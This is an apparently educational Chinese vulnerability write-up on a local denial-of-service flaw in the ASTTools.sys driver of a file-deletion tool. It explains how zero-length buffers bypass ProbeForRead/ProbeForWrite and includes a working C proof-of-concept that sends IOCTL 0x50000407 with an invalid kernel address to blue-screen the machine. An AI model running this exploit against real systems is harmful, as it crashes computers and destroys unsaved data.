产品版本:超级巡警暴力文件删除工具1.4
文件版本:ASTTools.sys CheckSum:00013546
问题:
IRP_MJ_DEVICE_CONTROL处理例程存在本地拒绝服务漏洞
使用METHOD_NEITHER方式传递数据,没有对缓冲区进行严格的检查,就进行使用
关键代码
代码:
if(IoControlCode == 0x50000407) { v10 = UserBuf; ProbeForRead((const void *)UserBuf, InputBufferLength, 1u); ProbeForWrite((PVOID)UserBuf, OutputBufferLength, 1u); RtlInitUnicodeString(&DestinationString, (PCWSTR)UserBuf); //触发异常 ........ }
虽然程序有使用ProbeForRead和ProbeForWrite来检查缓冲区的正确性
但可惜的是;ProbeForRead和ProbeForWrite是可以绕过的,即给InputBufferLength和OutputBufferLength填0,就会不做检查了。
如果驱动开发者在留心一下,在自己的程序里对InputBufferLength和OutputBufferLength参数做检查,禁止0长度的buffer,也可以避免此问题,可惜依然没有!
最终造成了这个本地拒绝服务漏洞;
测试代码:
代码:
int main(int argc, char* argv[]) { printf("FileForceKiller 0day 利用程序\n"); printf("本程序会导致蓝屏,请保存好数据\n"); printf("按下回车键激活0day\n"); getchar(); HANDLE handle =CreateFileA("\\\\.\\ASTTools",0,FILE_SHARE_READ|FILE_SHARE_WRITE,0,OPEN_EXISTING,0,0); printf("%d\n",handle); ULONG temp; printf("%d",DeviceIoControl(handle,0x50000407,0,0,(PVOID)0x80000000,0,&temp,0)); //OutputBuffer传0x80000000,这是一个无效内核地址,被读取即会立即蓝屏 //InputBufferLength跟OutputBufferLength传0,这样可以绕过ProbeForRead和ProbeForWrite的检查! getchar(); return 0 ; }
参考(抄袭)地址:
http://hi.baidu.com/mj0011/blog/item/58b9367f2fcc870d29388a3d.html
感言:
在MJ的博客里面逛一圈可以学不少好东西哈;
此文章多处地方参考(抄袭)了MJ博客里面的文章,希望MJ大大不要见怪
另外要在这里特别感谢群里的大大,紫色秋枫,......在这方面对我的指导
小弟我初学0DAY,文章中如有错误之处,希望各位大大们及时指出,
另外各位大大们别喷我,我只是个菜鸟